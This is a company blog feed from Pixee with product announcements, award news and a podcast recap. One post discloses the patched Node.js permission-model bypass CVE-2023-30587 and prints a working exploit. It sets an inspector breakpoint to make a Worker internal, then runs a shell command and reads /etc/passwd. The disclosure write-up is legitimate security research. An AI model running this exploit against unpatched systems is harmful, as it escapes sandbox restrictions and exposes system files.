Anthony Stirling was on the hunt for a PDF website but was unable to find exactly what he was looking for. He consistently found the ...]]></description><link>https://blog.pixee.ai/user-spotlight-stirling-pdf</link><guid isPermaLink="true">https://blog.pixee.ai/user-spotlight-stirling-pdf</guid><category><![CDATA[Open Source]]></category><category><![CDATA[Developer]]></category><category><![CDATA[Developer Tools]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Rosie Cunningham]]></dc:creator><pubDate>Wed, 03 Apr 2024 15:58:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1712100757183/28bdfb0a-d9e4-4bfa-9853-1f8c7c635901.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>What do PDFs, chat GPT, and Reddit all have in common? Stirling-PDF, an open source web based PDF manipulation tool.</p>
<p>Anthony Stirling was on the hunt for a PDF website but was unable to find exactly what he was looking for. He consistently found the tools to be lacking in functionality, prohibitively costly, lacking a Docker version, and in some cases, simply untrustworthy. Rather than settling for an inadequate solution, he set out to build his own.</p>
<h3 id="heading-starting-off-with-a-challenge">Starting Off With a Challenge</h3>
<p>Anthony started the project with two main parameters in place. A 24-hour time limit, and using only Chat GPT to build it. The next day, with v1 of the project completed, he decided to share it on Reddit. His post was met with an enthusiastic response, validating the hunch that a locally hosted, trusted, and free PDF application was a necessity for many.</p>
<p>Fast forward to today, and that solo project has grown into an active, open source project with nearly 100 contributors, and over 19,000 stars on GitHub. The project aims to provide fully locally owned software, with zero tracking, that eliminates the need for overpriced tooling.</p>
<p>While zero tracking complicates determining the exact user count, it’s confirmed that at least 50 universities and educational establishments have deployed Stirling-PDF to date. A testament to the commitment Anthony and fellow contributors have to providing an excellent tool, and user experience.</p>
<h3 id="heading-evolving-over-time">Evolving Over Time</h3>
<p>Anthony began coding as a Java developer, and then later transitioned into DevOps. A throughline in his experience has been focusing on automation to make tasks easier, quicker, and more secure for the different users he works with. These focus areas guided him as he transitioned Stirling-PDF into an open source application.</p>
<p>That transition has had its own rewards and challenges. As Anthony puts it:</p>
<blockquote>
<p>“Thankfully, the pros greatly outweigh the cons, the benefits are being able to give back to a community and have the community also give back to the project, and having so many collaborators gives me different viewpoints and skills in the work I do. creating a vastly improved application overall, both for quality and security. And for those without tech skills, it still means freedom to access, trust that others can verify code quality, and free for nontechnical contributions like translations”.</p>
</blockquote>
<p>The challenges faced are those you might expect for this type of work. Time management, people management, securing funding, and code review. The latter improved significantly through the careful selection of tools.</p>
<h3 id="heading-building-a-toolset">Building a Toolset</h3>
<p>In addition to Dependabot and Jenkins, Stirling-PDF is strengthened by a handful of other tools. Their application of different developer tools is an excellent example of leveraging multiple resources in conjunction to bolster security from various angles.</p>
<p>They started out using Sonar for general code health and security checks, noting the tool’s ease of integration as one of the main reasons for adoption. They complimented this with an additional security tool for pull request scanning, and reporting on dependency security issues.</p>
<p>Later on, they began using an additional tool for docker image vulnerability alerting. They found this to be a good addition as it caught some issues their other scanners missed and provided a nice view for docker images. Eventually, Pixeebot was added to the list. When asked what about Pixeebot appealed to him, Anthony explained:</p>
<blockquote>
<p>“I liked Pixeebot for its security-focused results and automation. It seemed to catch things missed by others, and unlike others, it would offer possible solutions to the issues by creating its own PRs directly with the repo in an automated way… I am unaware of tools that make the solution so easy. I found it much nicer than things where I just have a ‘This is a possible solution code snippet’. Which often doesn't apply to the actual use case.”</p>
</blockquote>
<p>As of today, 11 of Pixeebot’s fixes have been merged into Stirling-PDF, contributing to the application's security and performance.</p>
<h3 id="heading-whats-next-for-stirling-pdf">What’s Next for Stirling-PDF</h3>
<p>Stirling-PDF is constantly evolving and improving. Some of the upcoming features mentioned in their <a target="_blank" href="https://stirlingtools.com/docs/FAQ">docs</a> include tracking to provide real-time updates of ongoing operations, auto-rename functionality to rename files based on their title, and folder support.</p>
<p>Make sure to keep an eye on Stirling-PDF! There are currently multiple ways to contribute to the project, through coding and non-technical work. For more information, head over to their <a target="_blank" href="https://github.com/Stirling-Tools/Stirling-PDF/blob/main/CONTRIBUTING.md">contributor guidelines</a>. You can also show your support for the project by <a target="_blank" href="https://github.com/sponsors/Frooodle">becoming a sponsor</a>.</p>
]]></content:encoded></item><item><title><![CDATA[Managing Pixeebot Activity with the New User Dashboard]]></title><description><![CDATA[Meet the New and Improved User Dashboard
We are excited to share some major enhancements we have made to the User Dashboard. We have overhauled this surface to better reflect Pixeebot’s activity across all of your repositories, and make managing Pixe...]]></description><link>https://blog.pixee.ai/managing-pixeebot-activity-with-the-new-user-dashboard</link><guid isPermaLink="true">https://blog.pixee.ai/managing-pixeebot-activity-with-the-new-user-dashboard</guid><category><![CDATA[Security]]></category><category><![CDATA[Developer]]></category><category><![CDATA[performance]]></category><category><![CDATA[Python]]></category><category><![CDATA[Java]]></category><dc:creator><![CDATA[Rosie Cunningham]]></dc:creator><pubDate>Fri, 22 Mar 2024 16:42:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/6SyrBaRjLJ4/upload/5bda5dbc46c85018710f7c17c041a993.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-meet-the-new-and-improved-user-dashboard">Meet the New and Improved User Dashboard</h2>
<p>We are excited to share some major enhancements we have made to the User Dashboard. We have overhauled this surface to better reflect Pixeebot’s activity across all of your repositories, and make managing Pixeebot issues even more efficient.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1711031264475/824f7c70-b8a5-4704-9664-9fa7ee09e113.png" alt="Graphical dashboard displaying Pixeebot performance over the last 30 days, including average merge rate, merged fixes, hours saved, pull requests hardened, code hit, and analyses run." class="image--center mx-auto" /></p>
<p>Use this dashboard to gain insights into the types of issues that are found, the rate at which fixes are being merged, and the available fixes that Pixeebot has queued up for you. These changes were made as part of a larger effort to take the pain out of vulnerability remediation, and streamline the process of  improving the security, quality, and performance of your code.</p>
<h2 id="heading-how-to-access-the-user-dashboard"><strong>How to Access the User Dashboard</strong></h2>
<p>To access the User Dashboard, follow these steps:</p>
<ol>
<li><p>Go to <a target="_blank" href="http://app.pixee.ai/login">app.pixee.ai/login</a>.</p>
</li>
<li><p>Select 'Sign In.'</p>
</li>
<li><p>Enter your GitHub login credentials.</p>
</li>
</ol>
<h2 id="heading-all-pixeebot-activity-in-a-single-location">All Pixeebot Activity in a Single Location</h2>
<p>Use this dashboard as your source of truth for Pixeebot’s activity across all of your repositories. In addition to the added organization and repository counts, new filters at the top of the dashboard give you the ability to display performance insights by week or by month, on the organization and repository level.  </p>
<p><strong>New activity metrics give you multiple touchpoints to measure Pixeebot’s work:</strong> </p>
<ul>
<li><p><strong>Average merge rate -</strong> The number of Pixeebot pull requests that have been merged, divided by the total number of Pixeebot pull requests</p>
</li>
<li><p><strong>Merged fixes -</strong> The number of Pixeebot pull requests that have been merged. </p>
</li>
<li><p><strong>Hours saved -</strong> Based on an estimated average of approximately 3 hours saved per Pixeebot pull request</p>
</li>
<li><p><strong>PRs hardened -</strong> The number of pull requests submitted by you or a member of your team that Pixeebot identified improvements for. </p>
</li>
<li><p><strong>Codemods hit -</strong> The codemods that handled the code transformations included in Pixeebot’s pull requests. </p>
</li>
<li><p><strong>Analyses run -</strong> The number of repository analyses completed by Pixeebot. This includes <a target="_blank" href="https://docs.pixee.ai/using-pixeebot#continuous-improvement">continuous improvement</a> runs, PR analyses, and <a target="_blank" href="https://docs.pixee.ai/using-pixeebot#summoning-pixeebot">manual Pixeebot summons</a>. </p>
</li>
</ul>
<h2 id="heading-ia"> </h2>
<p>Detailed Issue Summary</p>
<p>The Issue Summary section is now separated into three tables: </p>
<ul>
<li><p><strong>Open -</strong> A list of open Pixeebot issues.  </p>
</li>
<li><p><strong>Available -</strong> A list of Pixeebot fixed queued for your repositories. The issues in this list are the same issues given in the ‘Available’ list on the <a target="_blank" href="https://docs.pixee.ai/release-notes/#january-26-2024">Pixeebot Activity Dashboard</a> found on GitHub.  </p>
</li>
<li><p><strong>Completed -</strong>  A list of Pixeebot issues that have been merged or closed. </p>
</li>
</ul>
<h2 id="heading-ia-1"> </h2>
<p>Interactive Chart to Visualize Pixeebot's Fixes</p>
<p>The chart on the dashboard allows you to further drill into Pixeebot’s fixes, filtering by week or month. Use this to reference the dates of analyses, and hover over any date to see the number of fixes merged, and PRs opened and closed. This view gives you Pixeebot’s activity at a glance, making tracking the progress of issue remediation easier than ever. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1711031376526/54b981ee-dd2b-4048-a1ad-e593d8d627aa.png" alt="Graphical dashboard displaying repository detailed performance metrics for an analysis run on 3/18, included PRs closed, PRs opened, and fixes merged. " class="image--center mx-auto" /></p>
<h2 id="heading-whats-next">What's Next</h2>
<p>These changes to the user dashboard are just the beginning, with work on additional enhancements underway. Upcoming improvements include increased interactivity, and expanded views for better management of Pixeebot installations and issues.</p>
]]></content:encoded></item><item><title><![CDATA[Pixee CTO Arshan on The Daily Tech Talks Podcast]]></title><description><![CDATA[h In December 2023 Pixee CTO and co-founder Arshan Dabirsiaghi joined Neil C. Hughes on The Tech Talks Daily podcast. They discussed the rise of AI generated code, the implications that it has on security, and the shift from traditional coding to AI-...]]></description><link>https://blog.pixee.ai/pixee-cto-arshan-on-the-daily-tech-talks-podcast</link><guid isPermaLink="true">https://blog.pixee.ai/pixee-cto-arshan-on-the-daily-tech-talks-podcast</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Developer]]></category><category><![CDATA[AI]]></category><dc:creator><![CDATA[Rosie Cunningham]]></dc:creator><pubDate>Thu, 07 Mar 2024 18:11:56 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1709575793740/5f95ec22-d58e-45e0-a550-bf8c83743680.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>h In December 2023 Pixee CTO and co-founder <a target="_blank" href="https://www.linkedin.com/in/arshan-dabirsiaghi/">Arshan Dabirsiaghi</a> joined Neil C. Hughes on The Tech Talks Daily podcast. They discussed the rise of AI generated code, the implications that it has on security, and the shift from traditional coding to AI-driven development.</p>
<p>They covered a good amount of territory during the 27-minute episode. Here are some highlights from their conversation:</p>
<h3 id="heading-what-it-takes-to-secure-code">What It Takes to Secure Code</h3>
<p>As they began exploring the security challenges created by AI generated code, Arshan outlined the many factors required to get security right today:</p>
<blockquote>
<p>“You need a massive organizational commitment to get secure code out the door. The normal code that you would just put out naively, which a lot of small companies do, is very vulnerable. And people don’t realize, unfortunately, that every line of code represents a brick in the castle of your attack perimeter. If you write two bad lines of code, somebody can abuse that to get into your system and pivot from there…”</p>
</blockquote>
<div data-node-type="callout">
<div data-node-type="callout-emoji">🔗</div>
<div data-node-type="callout-text">Jump to this part of the conversation at <a target="_blank" href="https://youtu.be/-nwyhe0z4_Q?feature=shared&amp;t=262">4:23</a></div>
</div>

<hr />
<h3 id="heading-how-to-better-integrate-security">How to Better Integrate Security</h3>
<p>After discussing the implications that AI generation has on cybersecurity, Neil asked Arshan how the industry can better integrate security more deeply into the development process:</p>
<blockquote>
<p>“The only way I can see out of this is to build virtual security engineers. Just like we’re using LLMs to generate a bunch of code, we need to generate AI agents that will handle all the human work of validation, training, fixing, triaging… All of the security that developers have to do, we have to have an AI that’s doing them.”</p>
</blockquote>
<div data-node-type="callout">
<div data-node-type="callout-emoji">🔗</div>
<div data-node-type="callout-text">Jump to this part of the conversation at <a target="_blank" href="https://youtu.be/-nwyhe0z4_Q?feature=shared&amp;t=481">8:00</a></div>
</div>

<hr />
<h3 id="heading-pixees-approach-to-code-security">Pixee’s Approach to Code Security</h3>
<p>The conversation lead to discussing what lead to Arshan and Surag Patel founding Pixee, and why they built Pixeebot:</p>
<blockquote>
<p>“The whole point of it is to be that product security engineer. The angel on your shoulder, that as you write code we’re going to chime in with suggestions to your code. We’re not going to send you reports, we’re not going to send you findings, we’re not going to ask you to reverse engineer what the fix should be, we’re actually just going to send you the fix. This is very different from what traditionally has been offered on the market… Security is a fast changing field. We knew that we needed to build this agent to be the missing skillset on every development team to fix the vulnerabilities.”</p>
</blockquote>
<div data-node-type="callout">
<div data-node-type="callout-emoji">🔗</div>
<div data-node-type="callout-text">Jump to this part of the conversation at <a target="_blank" href="https://youtu.be/-nwyhe0z4_Q?feature=shared&amp;t=705">11:45</a></div>
</div>

<hr />
<h3 id="heading-the-full-episode">The Full Episode</h3>
<p><strong>2726: Pixee - Who Secures Our Code When an Army of Robots is Writing It?</strong> is available on YouTube, and <a target="_blank" href="https://techblogwriter.co.uk/pixee/">Neil’s blog</a>.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/-nwyhe0z4_Q?feature=shared">https://youtu.be/-nwyhe0z4_Q?feature=shared</a></div>
]]></content:encoded></item><item><title><![CDATA[Pixee wins 2024 DEVIES  Best Innovation in AppSecOps award]]></title><description><![CDATA[We’re thrilled to announce that Pixee has won the 2024 DeveloperWeek DEVIES award for Best in Innovation in AppSecOpps.
The DEVIES Awards are the world's largest developer and engineering technology awards recognizing outstanding design, engineering,...]]></description><link>https://blog.pixee.ai/pixee-wins-2024-devies-best-innovation-in-appsecops-award</link><guid isPermaLink="true">https://blog.pixee.ai/pixee-wins-2024-devies-best-innovation-in-appsecops-award</guid><category><![CDATA[Developer Tools]]></category><category><![CDATA[Developer]]></category><category><![CDATA[Security]]></category><category><![CDATA[Python]]></category><dc:creator><![CDATA[Rosie Cunningham]]></dc:creator><pubDate>Fri, 19 Jan 2024 17:03:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1705504109658/ad1fd456-27a6-475a-89f2-98a805f3b8b9.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>We’re thrilled to announce that Pixee has won the <a target="_blank" href="https://www.developerweek.com/awards/#winners">2024 DeveloperWeek DEVIES</a> award for Best in Innovation in AppSecOpps.</p>
<p>The DEVIES Awards are the world's largest developer and engineering technology awards recognizing outstanding design, engineering, and innovation in developer and engineering technology.</p>
<p>Pixee's mission is to make all code high-quality by giving developers tools that automate vulnerability remediation and code hardening. A mission like this requires innovative and unique solutions, so being recognized as an innovator in tools that help secure applications and application data is an honor.</p>
<p><a target="_blank" href="https://app.pixee.ai/">Pixeebot</a> and the <a target="_blank" href="https://github.com/pixee/pixee-cli">Pixee CLI</a> were built to help teams squash bugs, efficiently tackle their technical debt, and eliminate significant factors of burnout, such as developer toil and cognitive load. The AppSecOpps space is filled with tools that find issues; what developers need is automated fixing, and Pixee is here to provide that.</p>
<p>This year's awards will be presented at the DEVIES Awards Ceremony at DeveloperWeek 2024. It will be held on February 21, 2024, in the Oakland Convention Center in Oakland, California. If you're at the conference, make sure to swing by Principal Engineer <a target="_blank" href="https://www.linkedin.com/in/ddavella/">Dan D'avella's</a> talk 'Writing Python Codemods for Fun and Profit", where he'll explore the Python <a target="_blank" href="https://codemodder.io/">Codemodder</a> framework.</p>
]]></content:encoded></item><item><title><![CDATA[Pixee announced winner of the 2023 Santander X Global Challenge]]></title><description><![CDATA[We’re excited to announce that Pixee was selected as a winner in the startup category of the 2023 Santander X Global Challenge.
The Santander X challenge, promoted in partnership with Oxentia Foundation, aimed to support innovative solutions to cyber...]]></description><link>https://blog.pixee.ai/pixee-announced-winner-of-the-2023-santander-x-global-challenge</link><guid isPermaLink="true">https://blog.pixee.ai/pixee-announced-winner-of-the-2023-santander-x-global-challenge</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Developer Tools]]></category><category><![CDATA[Startups]]></category><dc:creator><![CDATA[Rosie Cunningham]]></dc:creator><pubDate>Mon, 08 Jan 2024 21:22:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1700681730891/0f318b74-35a0-4173-b7ee-e4ab1999d6e5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>We’re excited to announce that Pixee was selected as a winner in the startup category of the 2023 Santander X Global Challenge.</p>
<p>The Santander X challenge, promoted in partnership with <a target="_blank" href="https://www.linkedin.com/company/oxentia-foundation/">Oxentia Foundation</a>, aimed to support innovative solutions to cybersecurity demands. It was open to startups and scale-ups across 11 countries and received over 300 applicants. The winners were announced at this year's Web Summit conference in Lisbon, and our CEO Surag Patel was there to accept our award.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1701196003442/e34f0ad2-69dd-44a5-92bd-ac561bf23134.png" alt="Winners of the 2023 Santander X Global Challenge accepted their awards at the Web Summit conference in Lisbon" class="image--center mx-auto" /></p>
<p>Reflecting on the win, Surag shared, "We're working hard to give developers a tool that easily makes their code more secure and performant, which is why we are so honored to be recognized as a disruptive and innovative solution in the cybersecurity space. It’s always encouraging when a bank with the vision and scale of Santander validates the problem and Pixee approach to the solution being a positive disruption to the status quo."  </p>
<p>Pixee’s mission is to make all code high quality; Pixeebot makes this a reality. Pixeebot cuts through the noise created by traditional security tools, making it easy for teams to integrate security best practices into every stage of their development cycles.</p>
<p>Organizations need to consistently ship secure code, and developers need security tools they love using. Pixeebot elevates developer experience by seamlessly integrating into their workflows, and working in tandem with the security scanners their teams are already using. </p>
<p>Existing security tools start and stop at finding and reporting potential vulnerabilities. We set ourselves apart by going further. We fix the problems we find by delivering descriptive, merge-ready pull requests that developers can review and approve at their own pace, without disruption.</p>
]]></content:encoded></item><item><title><![CDATA[Enhancing Product Security through Developer-Security Team Collaboration]]></title><description><![CDATA[In "Hey Security People: Developers Want Secure Code Too" Pixee CTO Arshan Dabirsiaghi discusses the stumbling blocks that arise between developers and security teams, and shares his advice for overcoming them.

“I've been working in software securit...]]></description><link>https://blog.pixee.ai/enhancing-product-security-through-developer-security-team-collaboration</link><guid isPermaLink="true">https://blog.pixee.ai/enhancing-product-security-through-developer-security-team-collaboration</guid><category><![CDATA[Security]]></category><category><![CDATA[Developer]]></category><category><![CDATA[software development]]></category><dc:creator><![CDATA[Rosie Cunningham]]></dc:creator><pubDate>Wed, 06 Dec 2023 17:42:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1701279577306/9f4aa3eb-8513-466a-a5c0-92c604553493.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In "<a target="_blank" href="https://nahsra.hashnode.dev/hey-security-people-developers-want-secure-code-too">Hey Security People: Developers Want Secure Code Too</a>" Pixee CTO Arshan Dabirsiaghi discusses the stumbling blocks that arise between developers and security teams, and shares his advice for overcoming them.</p>
<blockquote>
<p><em>“I've been working in software security for 20 years with companies of all sizes, and when I hear security people interact with developers… my impression is that security people aren't really "getting" them… The developers I know are generally passionate people who want to build cool stuff, and take pride in their work. They're fascinated by exploits. They view security problems as embarrassing and try to fix real issues quickly.”</em></p>
</blockquote>
<p>For organizations looking to bridge the gap between their development and security teams, Arshan emphasizes the importance of:</p>
<ol>
<li><p><strong>Incentivizing security throughout the development process:</strong> Security should be a collective responsibility, not just the domain of the security team.</p>
</li>
<li><p><strong>Empowering Developers with non-disruptive, high-quality security tools:</strong> Most security tools are noisy and painful to work with. Developers need tools that do more than warn and alert, they need tools that help fix the problem.</p>
</li>
<li><p><strong>Cultivating effective collaboration through an empathetic mindset, open communication, and ongoing education:</strong> Differing skill sets and perspectives are at play. Taking the time to better understand each team’s motivations and pain points leads to harmonious outcomes for all.</p>
</li>
</ol>
<p>Addressing these areas can help create lasting successful partnerships between developers and security professionals, and effectively increase product security.</p>
<p>For the full blog post, see: <a target="_blank" href="https://nahsra.hashnode.dev/hey-security-people-developers-want-secure-code-too">https://nahsra.hashnode.dev/hey-security-people-developers-want-secure-code-too</a></p>
]]></content:encoded></item><item><title><![CDATA[Breaking down the Node.js sandbox bypass CVE-2023-30587]]></title><description><![CDATA[Turns out, a lot of people want to try to safely run untrusted code, and that's hard. Pixee Engineer Matt Austin (@mattaustin) recently found a bypass of the new and experimental Node.js sandbox in versions before 20.3.1, and it just received a $3K a...]]></description><link>https://blog.pixee.ai/breaking-down-the-nodejs-sandbox-bypass-cve-2023-30587</link><guid isPermaLink="true">https://blog.pixee.ai/breaking-down-the-nodejs-sandbox-bypass-cve-2023-30587</guid><category><![CDATA[Security]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[Exploitation]]></category><category><![CDATA[CVE]]></category><category><![CDATA[bug bounty]]></category><dc:creator><![CDATA[Arshan Dabirsiaghi]]></dc:creator><pubDate>Tue, 19 Sep 2023 16:00:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/w7ZyuGYNpRQ/upload/6529148da7c2b478208ec7b1912530af.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Turns out, a lot of people want to try to safely run untrusted code, and that's hard. Pixee Engineer Matt Austin (<a target="_blank" href="https://twitter.com/mattaustin">@mattaustin</a>) recently found <a target="_blank" href="https://hackerone.com/reports/1962701">a bypass of the new and experimental Node.js sandbox</a> in versions before 20.3.1, and it just received a $3K award from Internet Bug Bounty! We think these new Node.js features will help a lot of people, and we were excited to be able to help button it up a little bit. And because Matt is too lazy to blog, <em>I'll</em> be the one telling you about it.</p>
<h1 id="heading-the-vulnerability">The Vulnerability</h1>
<p>The core problem was that restrictions made with the <code>--experimental-permission</code> flag could be bypassed by abusing the <code>inspector</code> module. The <code>inspector</code> is accessible from userland code without any special configuration or enabling CLI parameters -- is it weird to decide you want to debug your code, programmatically, after you start running it?</p>
<p>Anyway, the <code>Worker</code> class can take an argument (the <code>kIsInternal</code> Symbol) to create an "internal worker" that doesn't respect process-level restrictions.</p>
<p>You can't access this Symbol (<code>kIsInternal</code>) directly. However, the <a target="_blank" href="https://nodejs.org/api/inspector.html">inspector module</a> can, and it's not disabled when process-level restrictions are in place. If you're not familiar:</p>
<p><em>The node:inspector module provides an API for interacting with the V8 inspector.</em></p>
<p>If we attach <code>inspector</code> inside the <code>Worker</code> constructor before the <code>new WorkerImpl</code> is created we can use it to change the value of <code>isInternal</code> via a malicious conditional breakpoint.</p>
<h1 id="heading-the-exploit">The Exploit</h1>
<p>Let's call the exploit <code>bypass.js</code>:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> { Session } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:inspector/promises'</span>);

<span class="hljs-keyword">const</span> session = <span class="hljs-keyword">new</span> Session();
session.connect();

(<span class="hljs-keyword">async</span> ()=&gt;{
    <span class="hljs-keyword">await</span> session.post(<span class="hljs-string">'Debugger.enable'</span>);
    <span class="hljs-keyword">await</span> session.post(<span class="hljs-string">'Runtime.enable'</span>);

    <span class="hljs-built_in">global</span>.Worker = <span class="hljs-built_in">require</span>(<span class="hljs-string">'node:worker_threads'</span>).Worker;

    <span class="hljs-keyword">let</span> {<span class="hljs-attr">result</span>:{ objectId }} = <span class="hljs-keyword">await</span> session.post(<span class="hljs-string">'Runtime.evaluate'</span>, { <span class="hljs-attr">expression</span>: <span class="hljs-string">'Worker'</span> });
    <span class="hljs-keyword">let</span> { internalProperties } = <span class="hljs-keyword">await</span> session.post(<span class="hljs-string">"Runtime.getProperties"</span>, { <span class="hljs-attr">objectId</span>: objectId });
    <span class="hljs-keyword">let</span> {<span class="hljs-attr">value</span>:{<span class="hljs-attr">value</span>:{ scriptId }}} = internalProperties.filter(<span class="hljs-function"><span class="hljs-params">prop</span> =&gt;</span> prop.name == <span class="hljs-string">'[[FunctionLocation]]'</span>)[<span class="hljs-number">0</span>];
    <span class="hljs-keyword">let</span> { scriptSource } = <span class="hljs-keyword">await</span> session.post(<span class="hljs-string">"Debugger.getScriptSource"</span>, { scriptId });

    <span class="hljs-comment">// find the line number where WorkerImpl is called. </span>
    <span class="hljs-keyword">const</span> lineNumber = scriptSource.substring(<span class="hljs-number">0</span>, scriptSource.indexOf(<span class="hljs-string">"new WorkerImpl"</span>)).split(<span class="hljs-string">'\n'</span>).length;

    <span class="hljs-comment">// WorkerImpl will bypass permission for internal modules. We can inject the local var "isInternal = true" with a conditional breakpoint.</span>
    <span class="hljs-keyword">await</span> session.post(<span class="hljs-string">"Debugger.setBreakpointByUrl"</span>, {
        <span class="hljs-attr">lineNumber</span>: lineNumber,
        <span class="hljs-attr">url</span>: <span class="hljs-string">"node:internal/worker"</span>,
        <span class="hljs-attr">columnNumber</span>: <span class="hljs-number">0</span>,
        <span class="hljs-attr">condition</span>: <span class="hljs-string">"((isInternal = true),false)"</span>
    });

    <span class="hljs-keyword">new</span> Worker(<span class="hljs-string">`
        const child_process = require("node:child_process");
        console.log(child_process.execSync("ls -l").toString());
        console.log(require("fs").readFileSync("/etc/passwd").toString())
    `</span>, {
        <span class="hljs-attr">eval</span>: <span class="hljs-literal">true</span>,
        <span class="hljs-attr">execArgv</span>: [
            <span class="hljs-string">"--experimental-permission"</span>,
            <span class="hljs-string">"--allow-fs-read=*"</span>,
            <span class="hljs-string">"--allow-fs-write=*"</span>,
            <span class="hljs-string">"--allow-child-process"</span>,
            <span class="hljs-string">"--no-warnings"</span>
        ]
    });

})()
</code></pre>
<p>Check out Matt's clever condition for the breakpoint, which overwrites the <code>isInternal</code> value during a <code>boolean</code> evaluation, which the debugger will call when deciding if it should "break" or not:</p>
<pre><code class="lang-javascript">        condition: <span class="hljs-string">"((isInternal = true),false)"</span>
</code></pre>
<p>You can run the exploit and prove the sandbox bypass with a command line this:</p>
<pre><code class="lang-bash">$ node --experimental-permission --allow-fs-read=$(<span class="hljs-built_in">pwd</span>) bypass.js
</code></pre>
<p>If exploitation didn't work, you'd expect to see something like this:</p>
<pre><code class="lang-bash">node:internal/child_process:1103
  const result = spawn_sync.spawn(options);
                            ^

Error: Access to this API has been restricted
</code></pre>
<p>But you won't see that, you'll see <code>/etc/passwd</code>. 😬</p>
<h1 id="heading-patched-by-nodejs">Patched by Node.js</h1>
<p>The Node.js team was responsive and quick to remediate this vulnerability. It was fixed in the June 20 2023 security release here: <a target="_blank" href="https://nodejs.org/en/blog/vulnerability/june-2023-security-releases">https://nodejs.org/en/blog/vulnerability/june-2023-security-releases</a></p>
<h1 id="heading-further-research">Further Research</h1>
<p>There could be other ways to cause state changes to other internal APIs to achieve the same goal, but fortunately, most of the logic for sandboxing is in C land, so there's less attack surface from Node APIs.</p>
]]></content:encoded></item><item><title><![CDATA[Just Fix It.]]></title><description><![CDATA[“Developers don’t care about security.”
I've heard this more times than I can count in my career, and I never believed it for a moment. It rings as hollow as saying, “teachers don’t care about kids”. If you've met a teacher, you'll likely agree that ...]]></description><link>https://blog.pixee.ai/just-fix-it</link><guid isPermaLink="true">https://blog.pixee.ai/just-fix-it</guid><category><![CDATA[Startups]]></category><category><![CDATA[Developer Tools]]></category><category><![CDATA[developer experience]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[DevSecOps]]></category><dc:creator><![CDATA[Surag Patel]]></dc:creator><pubDate>Thu, 31 Aug 2023 04:41:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1693456740078/11f56d42-143d-4dc2-b1e7-c7fcf820e6c9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>“Developers don’t care about security.”</em></p>
<p>I've heard this more times than I can count in my career, and I never believed it for a moment. It rings as hollow as saying, “teachers don’t care about kids”. If you've met a teacher, you'll likely agree that they care deeply. The real issue isn't a lack of caring, but the absence of the necessary tools and time to tackle the never-ending challenges in front of them. Sacrifices must often be made to meet the demanding needs of the business (or the school).</p>
<p>For the last year or so, we've been relentlessly pursuing the right solution to this problem. After speaking with hundreds of developers, managers, and security veterans, we've crafted a solution that zeros in on the heart of the challenge. As we've been building it, the anticipation has been killing us, and we can't wait to share it with you! But first, let's take an honest look at where we are today and why we must urgently address fixes to our code. Then, we'll introduce you to Pixeebot.</p>
<h2 id="heading-how-we-got-here">How We Got Here</h2>
<p>We're living in an exhilarating age of developer productivity. IDEs predict our next keystrokes, AI copilots craft entire functions, and CI/CD pipelines drive our businesses forward in real-time.</p>
<p>Software now permeates nearly every aspect of our lives: driving our cars, powering our medical devices, and more. But here's the chilling reality: every new line of code, including those generated by LLM-powered tools, could be a <a target="_blank" href="https://ee.stanford.edu/dan-boneh-and-team-find-relying-ai-more-likely-make-your-code-buggier">vulnerability</a>. While we were celebrating the new coding era, security lagged, trapped in outdated analyze, report and create ticket cycles.</p>
<p>Even with top-notch tools, the journey from identifying a problem to ensuring safe code is winding, complex, and fraught with error. It involves tools developers despise and often requires team members lacking the right skills. We frequently advise developers, “don’t write your own crypto”, yet demand they fix complex vulnerabilities. How can we accelerate while staying secure?</p>
<h2 id="heading-introducing-pixeebot">Introducing Pixeebot</h2>
<p>The only scalable solution is having a security expert on every dev team. These experts could potentially harden code and fix vulnerabilities as fast as the developers (or AI assistants) can produce code. Unfortunately, there just aren't enough people with a deep understanding of security risks and coding practices.</p>
<p>Enter Pixeebot, your virtual product security engineer. Always present, it proactively hardens code, advises on pull requests, and responds to scans that detect vulnerabilities. Pixeebot is an always-on, always-available expert who speaks in code, not reports.</p>
<p>Built as a GitHub App, Pixeebot is engineered to boost developer productivity and eliminate backlog items, not just identify flaws. It's designed to feel like a coding partner, letting developers focus on innovation.</p>
<p>Powered by the open-source <a target="_blank" href="http://codemodder.io/">codemodder framework</a>, Pixeebot's extensible platform can automate code changes specific to your team. It's time we made large-scale refactoring tools accessible to teams of all sizes vs just the few largest software companies in the world.</p>
<h2 id="heading-who-are-we">Who Are We?</h2>
<p>We've been blessed to assemble a passionate team of developers who care about security and believe in a better way. We focus on solutions, not problems, to create a tool that we wish existed while we wrote software.</p>
<p>Our mission is to empower developers to craft top-quality code faster, fully leveraging generative AI's advancements.</p>
<h2 id="heading-whats-next">What’s Next?</h2>
